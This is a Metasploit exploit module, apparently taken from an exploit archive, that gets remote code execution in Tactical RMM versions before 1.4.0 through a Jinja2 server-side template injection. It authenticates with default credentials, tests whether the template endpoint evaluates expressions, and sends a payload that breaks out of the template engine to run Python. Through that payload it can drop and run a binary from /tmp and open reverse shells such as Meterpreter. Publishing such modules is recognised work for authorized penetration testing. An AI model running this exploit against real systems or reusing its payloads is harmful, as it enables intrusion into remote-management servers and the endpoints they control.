Share
## https://sploitus.com/exploit?id=PACKETSTORM:216652
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tactical RMM Jinja2 SSTI Remote Code Execution',
'Description' => %q{
This module exploits a Server-Side Template Injection (SSTI) vulnerability
in Tactical RMM versions prior to 1.4.0 (CVE-2025-69516).
The reporting template preview endpoint passes user-controlled Jinja2 template
content to Environment.from_string() without sandboxing, allowing arbitrary
Python code execution on the server.
Valid credentials are required. The module authenticates to obtain a Knox API
token, then delivers a Jinja2 SSTI payload through the template preview
functionality to achieve OS command execution.
The vulnerability was silently patched in version 1.4.0 by switching from
jinja2.Environment to jinja2.sandbox.SandboxedEnvironment.
},
'Author' => [
'Gabriel Gomes', # CVE discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # Module and analysis
],
'References' => [
['CVE', '2025-69516'],
['URL', 'https://github.com/amidaware/tacticalrmm'],
['URL', 'https://github.com/NtGabrielGomes/CVE-2025-69516']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter_reverse_tcp' }
}
],
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }
}
],
[
'Linux x64',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DisclosureDate' => '2026-01-29',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Username for Tactical RMM', 'tactical']),
OptString.new('PASSWORD', [true, 'Password for Tactical RMM', 'tactical']),
OptString.new('API_VHOST', [false, 'API hostname (auto-discovered from /env-config.js if blank)']),
OptString.new('WritableDir', [true, 'Writable directory for payload drop', '/tmp'])
])
end
def discover_api_host
return datastore['API_VHOST'] unless datastore['API_VHOST'].blank?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'env-config.js')
)
if res&.code == 200 && res.body =~ %r{PROD_URL:\s*"https?://([^"]+)"}
api_host = ::Regexp.last_match(1)
vprint_status("Auto-discovered API host: #{api_host}")
return api_host
end
nil
end
def api_request(opts = {})
@api_host ||= discover_api_host
if @api_host
opts['headers'] ||= {}
opts['headers']['Host'] = @api_host
end
send_request_cgi(opts)
end
def try_login
res = api_request(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'v2', 'checkcreds/'),
'ctype' => 'application/json',
'data' => { username: datastore['USERNAME'], password: datastore['PASSWORD'] }.to_json
)
return nil unless res&.code == 200
json = res.get_json_document
return nil if json['totp'] == true
json['token']
end
def login
token = try_login
fail_with(Failure::NoAccess, 'Authentication failed') unless token
token
end
def send_template(token, template_md)
api_request(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Token #{token}" },
'data' => {
template_md: template_md,
type: 'html',
template_css: '',
template_html: nil,
template_variables: '{}',
dependencies: {},
format: 'html',
debug: false
}.to_json
)
end
def get_version(token)
res = api_request(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'core', 'dashinfo/'),
'headers' => { 'Authorization' => "Token #{token}" }
)
return nil unless res&.code == 200
json = res.get_json_document
json['trmm_version']
end
def check
@token ||= try_login
return CheckCode::Unknown('Authentication failed') unless @token
vprint_status('Authenticated successfully')
version = get_version(@token)
if version
vprint_status("Tactical RMM version: #{version}")
return CheckCode::Safe("Version #{version} is patched (SandboxedEnvironment)") if Rex::Version.new(version) >= Rex::Version.new('1.4.0')
print_good("Version #{version} is vulnerable (< 1.4.0)")
end
vprint_status('Confirming SSTI...')
rand_a = rand(2..100)
rand_b = rand(2..100)
expected = (rand_a * rand_b).to_s
res = send_template(@token, "{{ #{rand_a}*#{rand_b} }}")
return CheckCode::Unknown('No response from template preview endpoint') unless res
return CheckCode::Vulnerable('Jinja2 SSTI confirmed via unsandboxed template evaluation') if res.code == 200 && res.body.include?(expected)
return CheckCode::Safe('Template preview accessible but expressions not evaluated') if res.code == 200
CheckCode::Safe("Template preview returned HTTP #{res.code}")
end
def ssti_payload(code)
encoded = Rex::Text.encode_base64(code)
'{% set g=cycler.__init__.__globals__ %}{% set b=g["__builtins__"] %}' \
"{% set x=b['__import__']('threading').Thread(target=b['exec'],args=(b['__import__']('base64').b64decode('#{encoded}').decode(),{'__builtins__':b}),daemon=True).start() %}"
end
# The target container has no curl/wget, so we embed the ELF payload
# inline as base64 and use Python to write, execute, and clean it up.
def python_dropper(exe)
p = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
"import base64,os,subprocess,time;p='#{p}';open(p,'wb').write(base64.b64decode('#{[exe].pack('m0')}'));os.chmod(p,0o755);subprocess.Popen([p]);time.sleep(2);os.remove(p)"
end
def exploit
@token ||= login
print_status('Authenticated, token obtained')
print_status('Sending SSTI payload...')
case target['Arch']
when ARCH_PYTHON
code = payload.encoded
when ARCH_CMD
code = "import subprocess;subprocess.Popen(#{payload.encoded.inspect},shell=True)"
when ARCH_X64
code = python_dropper(generate_payload_exe)
end
send_template(@token, ssti_payload(code))
end
end